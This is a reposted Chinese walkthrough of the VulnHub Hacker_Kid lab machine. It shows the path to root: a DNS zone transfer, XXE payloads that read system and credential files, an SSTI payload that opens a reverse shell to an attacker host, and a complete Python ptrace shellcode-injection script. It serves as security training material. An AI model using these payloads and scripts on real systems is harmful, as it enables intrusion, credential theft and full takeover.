打靶记录7——Hacker_Kid-v1.0.1

news2024/11/15 20:09:06

靶机下载地址

https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

难度

  • OSCP 风格的中级难度靶机(只需要获取root权限即可,CTF 风格的靶机就还需要获取flag)

涉及的攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • DNS区域传输
  • XXE注入攻击
  • SSTI模版注入
  • Capabilitie提权

学习记录:

  • 计算机漏洞,一切漏洞的本质原因,就是用户可以想服务器端提交一些不该提交的内容,一旦提交了这些内容,而服务器端又接受了这样的内容,结果就可能导致服务器端的程序代码按照不是原定的逻辑顺序去执行,就会产生一些异常的执行结果,结果往往就是系统被攻击,然后被别人完全控制。

主机扫描

nmap -sn 192.168.0.0/24
image.png

端口扫描和服务发现

扫不到就多试几次就可以了

nmap -p- 192.168.0.104

image.png

nmap -p53,80,9999 192.168.0.104

image.png
由于namp默认只扫描TCP端口,所以这里我们发现了目标服务器上开了TCP的53端口,我们就有理由去猜测一下,目标服务器的UDP53端口也是开放的,它可能也会接受我来自客户端的域名查询这样的请求

 nmap -p53 -sU 192.168.31.32    # 由于我网络环境的变化,故IP变成了192.168.31.32

image.png
不出所料是开着的,那就意味着这是一台DNS服务器
搜索DNSBIND 9.16.1 版本漏洞,发现两个CVE,但是由于没有POC,我们把目光转向80端口和9999端口
在80端口发现一段黑客小孩写的话,还有上面的三个链接,但是没什么用
image.png
image.png
image.png
Ctrl + U 查看首页的源代码,在注释里面发现了一个参数page_no
image.png
既然是no(“No.”相当于“Number"),我们就给参数赋值数字,然后我们接着就用BurpSuite爆破数字
image.png
image.png
爆破到21的时候,页面有了不同的回显
image.png
image.png
通过DNS,他创建了一些域名,而通过访问这些域名,他就能够访问到一些不一样的Web页面。
因为我们知道在一台服务器上放置多个Web应用是有几种常用的方法的:

  1. 在服务器上绑定多个IP,每个不同的网站使用不同的IP地址,然后访问者可以访问不同的IP访问到我不同的网站,不同的Web应用程序;
  2. 我这台服务器只有一个IP,那我就通过不同的端口来开放不同的Web应用;
  3. 我这台服务器只有一个IP,而且只开放一个端口,使用不同的域名访问服务器端的时候,会得到的页面是完全不同的。

那我们在页面提示里发现一个域名hackers.blackhat.local,那我们为了能够访问到这个域名能解析到这个IP地址,接下来我们需要编辑本机的/etc/hosts文件,将这个域名和这个IP地址绑定,以便下次我去访问这个域名的时候就能访问到这台主机,而当我访问这个域名的时候,我希望看到一个不一样的页面,也就是后门页面

vim /etc/hosts

image.png
加上192.168.31.32 blackhat.local是因为很多的Web服务端程序,它都会对域名本身也创建一套A记录,当我们直接去访问这个域名,不加www
也能看见应用程序。
访问域名发现页面没有变化
image.png
那再这个DNS区域当中可能还隐藏着其他的记录,可能是A记录,可能是CNAME记录,而且根据页面提示,要DIG它。
那我们利用dig命令,针对这个域名,这个区域来做一个axfr(就是一个区域传输,标准的DNS技术术语,就是我可以针对向一个DNS服务器发一个axfr的请求,如果服务器端支持arfr这个区域传输的请求的话,它就会把它这台服务器里面我指定DNS区域的所有的DNS记录都一次性返回给我)
dig axfr @192.168.31.32 blackhat.local
image.png
拿到这些新的域名就添加到我们的/etc/hosts文件里面
image.png
访问80端口的hackerkid.blackhat.local发现一个新页面
image.png
访问9999端口192.168.31.32:9999,其他几个域名发现的都是登录页面,爆破不出来,因为密码很复杂
image.png

XXE漏洞

漏洞详解:XXE是什么?XXE漏洞原理及案例讲解(从0到1完全掌握XXE)-CSDN博客

  • XXE(XML外部实体注入)是一种针对应用程序处理XML数据的方式的攻击。在这种攻击中,攻击者利用应用程序对XML输入的处理不当,引入或“注入”恶意内容。这可能导致未授权的数据访问、服务拒绝攻击甚至执行远程代码。

hackerkid.blackhat.local页面抓包,发现是一个XML的表单,那么可能存在XXE漏洞
image.png
在XML文档当中,增加对其他外部资源的应用,并且让Web应用程序把我引用的资源给我完整的返回回来,

<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
  <root>
    <name>
      1
    </name>
    <tel>
      1
    </tel>
    <email>
      &xxe;
    </email>
    <password>
      1
    </password>
  </root>
  • <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>引入一个外部对象,起名叫xxe
  • 变量名后面加上了SYSTEM的话就代表是一个外部资源的引用
  • 意思是把file:///etc/passwd这个外部的文本文件的内容赋值给xxe这个变量
  • 然后在<email></email>里面填入这个变量&xxe;

image.png
成功读取到了文件,发现了另外一个账号saket
image.png
去它的主目录里把文件都读取一下,查看一下.bashrc配置文件
image.png
直接读取不显示,那我们就用封装器来进行,使用php的封装器,因为Web应用程序是用php语言来写的

<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
  <root>
    <name>
      1
    </name>
    <tel>
      1
    </tel>
    <email>
      &xxe;
    </email>
    <password>
      1
    </password>
  </root>

image.png
解码Base64获得账号和密码
image.png

username="admin"
password="Saket!#$%@!!"

尝试登录9000端口,但是admin账号用这个密码不行,saket就可以
image.png
根据页面提示,可能存在一个参数name,传参发现,传什么就输入什么
image.png

SSTI模板注入

  • 漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

通杀payload:{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]包含了python、Java等语言
image.png
出现报错就说明这个目标服务器使用了模版,而且我们通过注入的触发了漏洞
再试试${7*7},{{7*7}}也成功,说明数学表达式被运行了
image.png

反弹shell

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.31.23/4444 0>&1"')}}

直接输入不成功,我们需要通过编码来绕过服务器端过滤的机制,我用URL编码

%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.31.23%2F4444%200%3E%261%22')%7D%7D

image.png

提权(Capabilitie)

  • Capabilitie是一个Linux内核的功能,是做权限管理用的

Linux提权之:利用capabilities提权 - f_carey - 博客园 (cnblogs.com)
getcap -r / 2>/dev/null查询哪些文件具有Capabilitie权限

  • -r 递归的查询
  • 2>/dev/null 把报错丢掉

image.png
提示getcap没有加入到环境里面
/sbin/getcap -r / 2>/dev/null指定完整的路径再次查询
image.png
发现了python2设置了ptraceptrace是具有操作系统动态调试跟踪的能力的
ps -aef | grep root查一下在这台靶机上以root权限运行的所有的进程,选择一个apache吧,进程ID是705
image.png
接下来我们需要下载一个利用这个权限漏洞的现成的Python脚本

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):

  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)

  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

Kali开启HTTP服务
image.png
靶机从Kali上下载下来POC
image.png
使用python2.7的sys_ptrace权限,然后调用inject.py进程注入脚本注入到刚才已经发现的以root权限运行的进程的ID
image.png
inject.py把自己的后门进程注入到rootapache进程里面之后,它会在本机开启一个侦听端口5600
ss -pantu | grep 5600看一下是否开启了5600端口,如果开启了的话,说明我们的注入成功了,这个后门的进程注入已经被启动了
image.png
nc 192.168.31.32 5600,既然开启了那我们就直接连接
image.png
成功获取root权限!!

总结:

  1. 针对这台靶机首先进行了主机发现和端口扫描
  2. 针对DNS服务进行上网搜索,发现两个CVE,但是没有POC
  3. 于是通过Web入手,在源代码发现提示信息,找到一个参数,利用这个参数发现了页面里隐藏的关于域名的信息
  4. 拿到这个域名之后,使用dig命令针对这个DNS区域进行区域传输,最后拿到整个域名下所有的主机记录(A记录,CNAME记录全都拿到)
  5. 在本机对/etc/hosts文件进行修改,将这些域名绑定到目标靶机的IP地址上,通过这种方法发现了一个新的页面
  6. 在这个新的页面当中,首先发现了XXE漏洞,并且成功利用其中的email字段,将目标服务器上的/etc/passwd文件给读取出来,进而再次利用XXE漏洞将目标服务器上的账号saket的主目录下的文件都读取了一遍,在.bashrc配置文件里面发现了一个用户名账号和密码
  7. 用这个账号和密码去登录开放了9999端口的页面,但是登录失败,但是用saket就能登录成功了
  8. 在后台又根据靶机作者给我们的提示,猜测当前页面可能存在一个叫做name的变量名,发现这个name的赋值存在一个模版注入的漏洞
  9. 利用这个模板注入漏洞注入了一行python反弹shell的指令,拿到了一个反弹shell
  10. Capabilitie提权,通过查询,发现目标系统上有python2.7,利用python2.7它被赋予的cap_sys_ptrace可以调试挂接到系统已经存在的进程的特殊权限
  11. 利用这个权限上网去下载一个针对这种类型漏洞利用的inject.py,利用这个inject.py将自己注入到一个以root账号启动的系统进程里面,也就是apache的那个进程
  12. 然后在这个进程中注入我们的代码,打开5600端口,最后通过Kali直接连接靶机的5600端口,最终获得了root权限, 取得了目标系统的完全控制权。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1982595.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数组——对数组进行更加全面的理解

1.数组的概念 数组是一组相同类型元素的集合。数组可分为一维数组和多维数组&#xff0c;多维数组常见的是二维数组。 2.一维数组的创建和初始化 2.1 数组的创建 一维数组的创建的基本语法是&#xff1a; type arr_name[常量值] 例如&#xff0c;我们现在想要存储某个班级…

【C语言】qsort函数的介绍和使用

0. 引言 我们日常生活中经常能碰到需要给一组数据排序的情况&#xff0c;如将班上同学的身高&#xff0c;年龄从大到小排序&#xff0c;平时网上购物时对商品价格从低到高排序等等场景&#xff0c;那么电脑是根据什么程序完成这些排序的&#xff1f;接下来就来给大家介绍一下C语…

上升探索WebKit的奥秘:打造高效、兼容的现代网页应用

嘿&#xff0c;朋友们&#xff01;想象一下&#xff0c;你正在浏览一个超级炫酷的网站&#xff0c;页面加载飞快&#xff0c;布局完美适应你的设备&#xff0c;动画流畅得就像你在看一场好莱坞大片。这一切的背后&#xff0c;有一个神秘的英雄——WebKit。今天&#xff0c;我们…

MySQL数据库——数据库的基本操作

目录 三、数据库的基本操作 1.数据库中库的操作 ①创建数据库 ②字符集和校验规则 ③操纵数据库 ④备份与恢复 2.数据库中表的操作 ①创建表 ②查看表 1> 查看表位于的数据库 2>查看所有表 3>查看表中的数据 4>查看创建表的时候的详细信息 ③修改表 …

如何使用react在画布上实现redo-undo?

To implement undo/redo functionality with React you don’t need to use Konva‘s serialization and deserealization methods. You just need to save a history of all the state changes within your app. There are many ways to do this. It may be simpler do to th…

IoTDB 入门教程 企业篇③——数据同步和增量备份

文章目录 一、前文二、系统架构三、准备两台服务器四、新建任务五、数据同步测试六、遇到的问题 一、前文 IoTDB入门教程——导读 数据库备份与迁移是数据库运维中的核心任务&#xff0c;其重要性不言而喻。确保备份过程既简单快捷又稳定可靠&#xff0c;对于保障数据安全与业务…

会声会影下载免费吗?会声会影2023中文旗舰版下载及配置最低要求

**会声会影2024&#xff1a;引领视频创作新时代的创新之旅** 在数字时代的浪潮中&#xff0c;视频创作已成为连接世界、表达创意的重要方式。随着技术的不断进步&#xff0c;一款名为“会声会影2024”的视频编辑软件横空出世&#xff0c;它不仅继承了前代产品的优秀传统&#…

【STM32】EXTI与NVIC标准库使用框架

本篇博客重点在于标准库函数的理解与使用&#xff0c;搭建一个框架便于快速开发 目录 EXTI简介 EXTI配置 使能AFIO的时钟 配置GPIO端口为外部中断 外部中断初始化 NVIC介绍与配置 NVIC中断优先级分组 NVIC初始化 NVIC框架 EXTI配置图 中断函数 中断函数配置 获取中…

GPU as Code:趋动OrionX产品的创新之路

在当今快速发展的云计算和DevOps领域&#xff0c;IaC (Infrastructure as Code) 已经成为提升IT基础设施管理效率的关键实践。趋动科技的OrionX产品&#xff0c;通过软件定义GPU硬件&#xff0c;为开发者和运维团队提供了一种全新的AI算力资源管理方式。本文将深入探讨OrionX如…

习题2.32

这个题目 粗看起来好像是很简单,但是我在实现的时候,真的是废了好大的力气,主要原因有三点,第一,对clojure语言的属性程度不够高,第二,课本语言与clojure语言的差异点,我自以为理解的很透彻,导致了出现很奇异的现象,我找不到解释,一点思路都没有。第三,也就是最关键…

Vue 3+Vite+Eectron从入门到实战系列之(二)一Elementplus及VueRouter的配置

为了后续开发方便,在没有 UI 设计师配合的情况下,让我们的界面更加美观,我们使用 elementplus 组件库,并配置路由。 删除不需要的默认文件夹及文件,src 配置如下 实现效果 安装 elementplus,vue-router npm install element-plus --save npm install vue-router --save在…

25考研数据结构复习·8.1插入排序·8.2交换排序

目录 排序的基本概念 插入排序 直接插入排序/折半插入排序 希尔排序 交换排序 冒泡排序 算法原理 性能 &#x1f469;‍&#x1f4bb; 快速排序 排序的基本概念 排序&#xff1a;将各元素按关键字递增/或递减顺序重新排列评价指标 稳定性&#xff1a;关键字相同的元素…

【Langchain大语言模型开发教程】基于Langchain的私人助手

终于学习完了Langchain框架的核心内容&#xff0c;最后基于langchain技术实现一个个人知识库助手的小项目&#xff0c;将这些内容串联起来&#xff0c;在实际中进行应用。 工具清单&#xff1a; 1、langchain框架 2、chroma向量数据库 3、embedding模型&#xff08;bge-larg…

qt下载安装

1.在目录栏输入CMD&#xff0c;然后按回车 2. 输入以下内容回车启动在线安装程序 镜像源&#xff1a; 清华大学&#xff1a;https://mirrors.tuna.tsinghua.edu.cn/qt/ 北京理工大学&#xff1a;http://mirror.bit.edu.cn/qtproject/ 中国互联网络信息中心&#xff1a;http…

Android之复制文本(TextView)剪贴板

效果图&#xff1a; 功能简单就是点击“复制”&#xff0c;将邀请码复制到 剪贴板中 布局 <androidx.constraintlayout.widget.ConstraintLayoutandroid:id"id/clCode"android:layout_width"dimen/dp_0"android:layout_height"dimen/dp_49"…

贝壳找房:基于OceanBase构建实时字典服务的实践 | OceanBase案例

贝壳找房作为领先的居住服务综合平台&#xff0c;一直在推进居住产业的数字化与智能化升级。该平台通过汇聚并赋能优质的服务者&#xff0c;旨在为中国广大家庭带来涵盖二手房买卖、新房交易、房屋租赁、家装、家居以及家庭服务等全方位、高质量且高效的居住服务体验。 在贝壳…

Linux学习记录(二)-------文件IO

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言文件IO1.函数open2.函数close3.函数lseek4.函数read5.函数write 前言 文件IO Linux 自带的工具&#xff1a;man手册 man 1 是普通的shell命令&#xff0c;比如…

最新CSS3横向菜单的实现

横向菜单 原始代码&#xff1a; <nav class"list1"><ul><li><a href"#">Shirts</a></li><li><a href"#">Pants</a></li><li><a href"#">Dresses</a>…

零基础STM32单片机编程入门(二十五) 内部FLASH模拟EEPROM实战含源码

文章目录 一.概要二.FLASH模拟EEPROM的优势三.FLASH模拟EEPROM的原理四.数据读写步骤五.数据转移流程图六.FLASH模拟EEPROM读写例程七.CubeMX工程源代码下载八.小结 一.概要 STM32F103C8T6是一款强大而灵活的微控制器&#xff0c;它的片内Flash存储器可以用来存储有关数据&…

sqli-labs-php7-master第5-10关

第五关&#xff1a; 根据提示输入ID,随便来个一 输入100&#xff0c;因为数据库没有&#xff0c;所以这里没输出内容 还是先找注入点&#xff1a;输入单引号试试 注入点找到了‘ 查询数据库列数&#xff1b;&#xff1f;id1 order by 4 -- 测试发现order by 3时页面正常&…